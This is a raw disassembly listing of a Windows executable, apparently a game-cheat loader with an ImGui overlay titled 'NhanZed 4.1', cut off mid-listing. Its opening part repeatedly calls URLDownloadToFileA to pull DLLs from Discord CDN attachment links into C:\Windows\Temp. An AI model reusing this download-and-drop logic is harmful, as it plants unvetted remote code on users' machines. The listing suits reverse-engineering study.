movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1695a0]
lea rcx, [rbx + 0x1695a0]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x80]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x80]
mov eax, dword [0x140169678]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x14016967c]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x7c], al
movsd xmm0, qword [0x140169670]
movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169300]
lea rcx, [rbx + 0x169300]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x80]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x70]
mov eax, dword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
xor r9d, r9d
lea r8, [rsp + 0x68]
movups xmmword [rdx - 0x10], xmm1
mov qword [rsp + 0x20], r12
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x80]
movzx eax, byte [0x1401693d0]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x80], al
movsd xmm0, qword [0x1401693c8]
movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x169680]
lea rax, [rbx + 0x169680]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x20], r12
movups xmmword [rcx], xmm0
lea r8, [rsp + 0x68]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x80]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140169748]
movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movaps xmm1, xmmword [0x140168d50]
movzx eax, word [0x140168d98]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm0, xmmword [0x140168d60]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140168d80]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140168d90]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xd8], ax
movzx eax, word [0x140168dd8]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x80], ax
movsd xmm0, qword [0x140168dd0]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140168d70]
movsd qword [rsp + 0x78], xmm0
movaps xmmword [rbp + 0xb0], xmm1
movzx eax, byte [0x140168dda]
lea r8, [rsp + 0x68]
xor r9d, r9d
mov byte [rbp - 0x7e], al
lea rdx, [rbp + 0x80]
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181239858729040_BlackAndRed.dll]
lea r8, [rbp + 0x178]
movaps xmm1, xmmword [0x140169760]
lea rdx, [rbp + 0x80]
mov eax, dword [0x1401697a8]
xor r9d, r9d
movaps xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140169770]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140169790]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x1401697a0]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140169780]
mov dword [rbp + 0xd8], eax
movzx eax, word [0x1401697ac]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTempBlackAndRed.dll]
mov word [rbp + 0xdc], ax
movzx eax, byte [0x1401697ae]
movaps xmmword [rbp + 0xb0], xmm1
movups xmm1, xmmword [0x1401688e8]
mov byte [rbp + 0xde], al
movups xmmword [rbp + 0x178], xmm0
mov qword [rsp + 0x20], r12
movups xmmword [rbp + 0x188], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193098907488636988_1196181214344785940_blanca.dll]
lea r8, [rsp + 0x68]
movzx eax, word [0x140169808]
lea rdx, [rbp + 0x80]
movaps xmm1, xmmword [0x1401697c0]
xor r9d, r9d
movaps xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401697d0]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x1401697f0]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140169800]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_blanca_1.dll]
mov word [rbp + 0xd8], ax
mov eax, dword [0x140169828]
movups xmmword [rsp + 0x68], xmm0
mov dword [rbp - 0x80], eax
movsd xmm0, qword [0x140169820]
movzx eax, byte [0x14016982c]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x1401697e0]
movsd qword [rsp + 0x78], xmm0
movaps xmmword [rbp + 0xb0], xmm1
mov byte [rbp - 0x7c], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32chams.dll
lea rcx, [rbp + 0x1e30]
call fcn.14005cd90
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140055020]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140053a80]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], r12
lea r8, [fcn.140001d50]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140053a10]
lea rcx, [rbp - 0x38]
call fcn.14005cda0
mov rcx, rax
call fcn.140053860
lea rcx, [rbp - 0x38]
call fcn.14004bbb0
lea rcx, [0x14024ff50]
call fcn.1400d1bf0
cmp dword [0x14022ec38], r12d
jne 0x1400574f7
call fcn.14005d680
mov rcx, rax
call fcn.14005d5e0
mov dword [0x14022ec38], eax
call fcn.14005d680
mov edx, dword [0x14022ec38]
mov rcx, rax
call fcn.14005d520
lea rcx, [0x14024ff50]
call fcn.1400d1bf0
cmp byte [0x140250168], r12b
jne 0x140057550
lea rcx, [0x140250170]
call fcn.140043630
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x14005c710]
mov qword [rsp + 0x20e8], r14
mov edx, 0x7f00
mov qword [rbp + 0x1f8], rax
xor ecx, ecx
mov dword [rbp + 0x1f0], 0x50
mov dword [rbp + 0x1f4], 0x40
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x210], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x218], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x228], rax
lea rax, str.NhanZed
mov qword [rbp + 0x230], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x1f0]
mov qword [rbp + 0x238], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, str.NhanZed_4.1
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x230]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov qword [0x14022ec08], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x140057688
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x14016ad40]
lea rdx, [rbp + 0x7a0]
mov rcx, qword [0x14022ec08]
movdqu xmmword [rbp + 0x7a0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14022ec08]
lea rdx, [0x14022ec28]
xorps xmm0, xmm0
movups xmmword [0x14022ec28], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14022ec08]
call fcn.14005c500
test al, al
jne 0x1400576fb
call fcn.14005c690
mov rdx, qword [rbp + 0x208]
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x14005c4e5
mov rcx, qword [0x14022ec08]
mov edx, 0xa
mov qword [rsp + 0x2118], rdi
movaps xmmword [rsp + 0x20d0], xmm6
movaps xmmword [rsp + 0x20c0], xmm7
movaps xmmword [rsp + 0x20b0], xmm8
movaps xmmword [rsp + 0x20a0], xmm9
movaps xmmword [rsp + 0x2090], xmm10
movaps xmmword [rsp + 0x2080], xmm11
movaps xmmword [rsp + 0x2070], xmm12
movaps xmmword [rsp + 0x2060], xmm13
movaps xmmword [rsp + 0x2050], xmm14
movaps xmmword [rsp + 0x2040], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14022ec08]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140017220
xor ecx, ecx
call fcn.140006940
call fcn.140008960
lea rcx, [rbp + 0x9b0]
mov rdi, rax
or dword [rax], 3
call fcn.14002a0f0
mov dword [rbp + 0x9fc], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d310
movss xmm6, dword [0x14016abcc]
lea rdx, [0x1401cb2f0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x9b0]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002abf0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14022ecd8], rax
call fcn.14002d310
movss xmm3, dword [0x14016abc4]
lea rdx, [0x1401cb2f0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0x9b0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002abf0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d310
movss xmm3, dword [0x14016abe0]
lea rdx, [0x1401a8a70]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0x9b0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002abf0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14022ec78], rax
call fcn.14002d310
mov qword [rsp + 0x28], rax
lea rdx, [0x140183110]
lea rax, [rbp + 0x9b0]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
mov rcx, rbx
call fcn.14002abf0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14022ec70], rax
call fcn.14002d310
movss xmm3, dword [0x14016abe8]
lea rdx, [0x140183110]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0x9b0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002abf0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14022ece0], rax
call fcn.14002d310
movss xmm15, dword [0x14016abd8]
lea rdx, [0x1401a99b0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm15
lea rax, [rbp + 0x9b0]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002abf0
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14022ec68], rax
call fcn.14002d310
movss xmm14, dword [0x14016abf4]
lea rdx, [0x1401aa310]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm14
mov r8d, 0x20fe0
mov qword [rsp + 0x20], r12
mov rcx, rbx
call fcn.14002abf0
cmp qword [0x14022ecb8], r12
mov qword [rbp + 0x1d0], rax
jne 0x1400579f3
mov rcx, qword [0x14022ec40]
lea rax, [0x14022ecb8]
mov qword [rsp + 0x30], r12
lea r9, [0x14022d9d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401f5820]
mov qword [rsp + 0x20], rcx
mov r8d, 0x32cab
mov rcx, qword [0x140264a78]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14022eca8], r12
jne 0x140057a3a
mov rcx, qword [0x140264a78]
lea rax, [0x14022eca8]
mov qword [rsp + 0x30], r12
lea r9, [0x14022d9d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401f1660]
mov rax, qword [0x14022ec40]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14022ecc0], r12
jne 0x140057a81
mov rcx, qword [0x140264a78]
lea rax, [0x14022ecc0]
mov qword [rsp + 0x30], r12
lea r9, [0x14022d9d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402284d0]
mov rax, qword [0x14022ec40]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14022ecb0], r12
jne 0x140057ac8
mov rcx, qword [0x140264a78]
lea rax, [0x14022ecb0]
mov qword [rsp + 0x30], r12
lea r9, [0x14022d9d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401f55f0]
mov rax, qword [0x14022ec40]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14022ecc8], r12
jne 0x140057b0f
mov rcx, qword [0x140264a78]
lea rax, [0x14022ecc8]
mov qword [rsp + 0x30], r12
lea r9, [0x14022d9d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402285b0]
mov rax, qword [0x14022ec40]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x14022ec08]
call fcn.140045a60
mov rdx, qword [0x140264a88]
mov rcx, qword [0x140264a78]
call fcn.140045590
xorps xmm7, xmm7
lea rcx, [rbp + 0x990]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm7
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140001d30
movss xmm11, dword [0x14016ab38]
xor bl, bl
movss xmm12, dword [0x14016ad10]
movss xmm8, dword [0x14016ac10]
movss xmm9, dword [0x14016ab00]
movss xmm13, dword [0x14016ac68]
movss xmm10, dword [0x14016ab70]
mov qword [rsp + 0x2110], rsi
mov qword [rsp + 0x2120], r13
mov dword [rbp + 0x38], ebx
mov qword [rsp + 0x20e0], r15
movss xmm6, dword [0x14016aac0]
lea rcx, [rbp + 0x960]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140057c21
nop word [rax + rax]
lea rcx, [rbp + 0x960]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x960]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x968], 0x12
lea rcx, [rbp + 0x960]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140057bd0
mov dword [rbp + 0x38], ebx
test bl, bl
jne 0x14005c434
mov ecx, Ordinal_50
call fcn.140055060
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r15d, al
call fcn.140055060
mov ecx, 0x33
movzx r12d, al
call fcn.140055060
mov ecx, reloc.WS2_32.dll_WSASetLastError
movzx r13d, al
call fcn.140055060
mov ecx, WSAStartup
mov byte [rsp + 0x60], al
call fcn.140055060
mov ecx, WSAStartup
mov byte [rsp + 0x61], al
call fcn.140055060
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x62], al
call fcn.140055060
mov ecx, 0x51
mov byte [rsp + 0x63], al
call fcn.140055060
mov ecx, 0x45
mov byte [rsp + 0x64], al
call fcn.140055060
mov ecx, dword [0x14022ec84]
movzx edx, byte [0x14022ec67]
movzx r8d, byte [0x14022ec5f]
movzx r9d, byte [0x14022ebee]
movzx r10d, byte [0x14022eca0]
movzx r11d, byte [0x14022ec1a]
movzx ebx, byte [0x14022ebec]
movzx edi, byte [0x14022ec89]
movzx esi, byte [0x14022ec94]
movzx r14d, byte [0x14022ebef]
mov byte [rsp + 0x65], al
cmp ecx, 1
jne 0x140057d16
test r15b, r15b
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test dl, dl
jne 0x140057e73
cmp byte [0x14022ec55], dl
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 2
jne 0x140057d45
test r12b, r12b
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test r8b, r8b
jne 0x140057e73
cmp byte [0x14022ec55], r8b
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 3
jne 0x140057d74
test r13b, r13b
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x140057e73
cmp byte [0x14022ec55], r9b
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 4
jne 0x140057da2
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x140057e73
test r10b, r10b
jne 0x140057e73
cmp byte [0x14022ec55], r10b
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 5
jne 0x140057dd3
cmp byte [rsp + 0x61], 0
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x140057e73
cmp byte [0x14022ec55], r11b
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 6
jne 0x140057dff
cmp byte [rsp + 0x62], 0
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x140057e73
cmp byte [0x14022ec55], bl
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 7
jne 0x140057e25
cmp byte [rsp + 0x63], 0
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x140057e73
cmp byte [0x14022ec55], dil
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 8
jne 0x140057e4b
cmp byte [rsp + 0x64], 0
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x140057e73
cmp byte [0x14022ec55], sil
sete byte [0x14022ec55]
jmp 0x140057e73
cmp ecx, 9
jne 0x140057e6e
test al, al
je 0x140057e6e
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x140057e73
cmp byte [0x14022ec55], r14b
sete byte [0x14022ec55]
jmp 0x140057e73
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x140264a60]
cmp eax, 1
jne 0x140057e8e
test r15b, r15b
je 0x140057f20
test dl, dl
jmp 0x140057f10
cmp eax, 2
jne 0x140057ea1
test r12b, r12b
je 0x140057f20
test r8b, r8b
jmp 0x140057f10
cmp eax, 3
jne 0x140057eb0
test r13b, r13b
je 0x140057f20
test r9b, r9b
jmp 0x140057f10
cmp eax, 4
jne 0x140057ebe
test cl, cl
je 0x140057f20
test r10b, r10b
jmp 0x140057f10
cmp eax, 5
jne 0x140057ecf
cmp byte [rsp + 0x61], 0
je 0x140057f20
test r11b, r11b
jmp 0x140057f10
cmp eax, 6
jne 0x140057edf
cmp byte [rsp + 0x62], 0
je 0x140057f20
test bl, bl
jmp 0x140057f10
cmp eax, 7
jne 0x140057ef0
cmp byte [rsp + 0x63], 0
je 0x140057f20
test dil, dil
jmp 0x140057f10
cmp eax, 8
jne 0x140057f01
cmp byte [rsp + 0x64], 0
je 0x140057f20
test sil, sil
jmp 0x140057f10
cmp eax, 9
jne 0x140057f20
cmp byte [rsp + 0x65], 0
je 0x140057f20
test r14b, r14b
jne 0x140057f20
cmp byte [0x14022ec54], 0
sete byte [0x14022ec54]
mov eax, dword [0x140264a64]
cmp eax, 1
jne 0x140057f3b
test r15b, r15b
je 0x140057fcd
test dl, dl
jmp 0x140057fbd
cmp eax, 2
jne 0x140057f4e
test r12b, r12b
je 0x140057fcd
test r8b, r8b
jmp 0x140057fbd
cmp eax, 3
jne 0x140057f5d
test r13b, r13b
je 0x140057fcd
test r9b, r9b
jmp 0x140057fbd
cmp eax, 4
jne 0x140057f6b
test cl, cl
je 0x140057fcd
test r10b, r10b
jmp 0x140057fbd
cmp eax, 5
jne 0x140057f7c
cmp byte [rsp + 0x61], 0
je 0x140057fcd
test r11b, r11b
jmp 0x140057fbd
cmp eax, 6
jne 0x140057f8c
cmp byte [rsp + 0x62], 0
je 0x140057fcd
test bl, bl
jmp 0x140057fbd
cmp eax, 7
jne 0x140057f9d
cmp byte [rsp + 0x63], 0
je 0x140057fcd
test dil, dil
jmp 0x140057fbd
cmp eax, 8
jne 0x140057fae
cmp byte [rsp + 0x64], 0
je 0x140057fcd
test sil, sil
jmp 0x140057fbd
cmp eax, 9
jne 0x140057fcd
cmp byte [rsp + 0x65], 0
je 0x140057fcd
test r14b, r14b
jne 0x140057fcd
cmp byte [0x14022ec4e], 0
sete byte [0x14022ec4e]
mov eax, dword [0x140264a90]
cmp eax, 1
jne 0x140057fe8
test r15b, r15b
je 0x14005807a
test dl, dl
jmp 0x14005806a
cmp eax, 2
jne 0x140057ffb
test r12b, r12b
je 0x14005807a
test r8b, r8b
jmp 0x14005806a
cmp eax, 3
jne 0x14005800a
test r13b, r13b
je 0x14005807a
test r9b, r9b
jmp 0x14005806a
cmp eax, 4
jne 0x140058018
test cl, cl
je 0x14005807a
test r10b, r10b
jmp 0x14005806a
cmp eax, 5
jne 0x140058029
cmp byte [rsp + 0x61], 0
je 0x14005807a
test r11b, r11b
jmp 0x14005806a
cmp eax, 6
jne 0x140058039
cmp byte [rsp + 0x62], 0
je 0x14005807a
test bl, bl
jmp 0x14005806a
cmp eax, 7
jne 0x14005804a
cmp byte [rsp + 0x63], 0
je 0x14005807a
test dil, dil
jmp 0x14005806a
cmp eax, 8
jne 0x14005805b
cmp byte [rsp + 0x64], 0
je 0x14005807a
test sil, sil
jmp 0x14005806a
cmp eax, 9
jne 0x14005807a
cmp byte [rsp + 0x65], 0
je 0x14005807a
test r14b, r14b
jne 0x14005807a
cmp byte [0x14022ec52], 0
sete byte [0x14022ec52]
mov eax, dword [0x140264a58]
cmp eax, 1
jne 0x140058095
test r15b, r15b
je 0x140058127
test dl, dl
jmp 0x140058117
cmp eax, 2
jne 0x1400580a8
test r12b, r12b
je 0x140058127
test r8b, r8b
jmp 0x140058117
cmp eax, 3
jne 0x1400580b7
test r13b, r13b
je 0x140058127
test r9b, r9b
jmp 0x140058117
cmp eax, 4
jne 0x1400580c5
test cl, cl
je 0x140058127
test r10b, r10b
jmp 0x140058117
cmp eax, 5
jne 0x1400580d6
cmp byte [rsp + 0x61], 0
je 0x140058127
test r11b, r11b
jmp 0x140058117
cmp eax, 6
jne 0x1400580e6
cmp byte [rsp + 0x62], 0
je 0x140058127
test bl, bl
jmp 0x140058117
cmp eax, 7
jne 0x1400580f7
cmp byte [rsp + 0x63], 0
je 0x140058127
test dil, dil
jmp 0x140058117
cmp eax, 8
jne 0x140058108
cmp byte [rsp + 0x64], 0
je 0x140058127
test sil, sil
jmp 0x140058117
cmp eax, 9
jne 0x140058127
cmp byte [rsp + 0x65], 0
je 0x140058127
test r14b, r14b
jne 0x140058127
cmp byte [0x14022ec50], 0
sete byte [0x14022ec50]
mov eax, dword [0x14022ec98]
cmp eax, 1
jne 0x140058142
test r15b, r15b
je 0x1400581d4
test dl, dl
jmp 0x1400581c4
cmp eax, 2
jne 0x140058155
test r12b, r12b
je 0x1400581d4
test r8b, r8b
jmp 0x1400581c4
cmp eax, 3
jne 0x140058164
test r13b, r13b
je 0x1400581d4
test r9b, r9b
jmp 0x1400581c4
cmp eax, 4
jne 0x140058172
test cl, cl
je 0x1400581d4
test r10b, r10b
jmp 0x1400581c4
cmp eax, 5
jne 0x140058183
cmp byte [rsp + 0x61], 0
je 0x1400581d4
test r11b, r11b
jmp 0x1400581c4
cmp eax, 6
jne 0x140058193
cmp byte [rsp + 0x62], 0
je 0x1400581d4
test bl, bl
jmp 0x1400581c4
cmp eax, 7
jne 0x1400581a4
cmp byte [rsp + 0x63], 0
je 0x1400581d4
test dil, dil
jmp 0x1400581c4
cmp eax, 8
jne 0x1400581b5
cmp byte [rsp + 0x64], 0
je 0x1400581d4
test sil, sil
jmp 0x1400581c4
cmp eax, 9
jne 0x1400581d4
cmp byte [rsp + 0x65], 0
je 0x1400581d4
test r14b, r14b
jne 0x1400581d4
cmp byte [0x14022ec56], 0
sete byte [0x14022ec56]
mov eax, dword [0x14022ec8c]
cmp eax, 1
jne 0x1400581fa
test r15b, r15b
je 0x140058258
test dl, dl
jne 0x140058258
cmp byte [0x14022ec4d], 0
sete al
mov byte [0x14022ec4d], al
jmp 0x14005825f
cmp eax, 2
jne 0x140058209
test r12b, r12b
je 0x140058258
test r8b, r8b
jmp 0x1400581e6
cmp eax, 3
jne 0x140058218
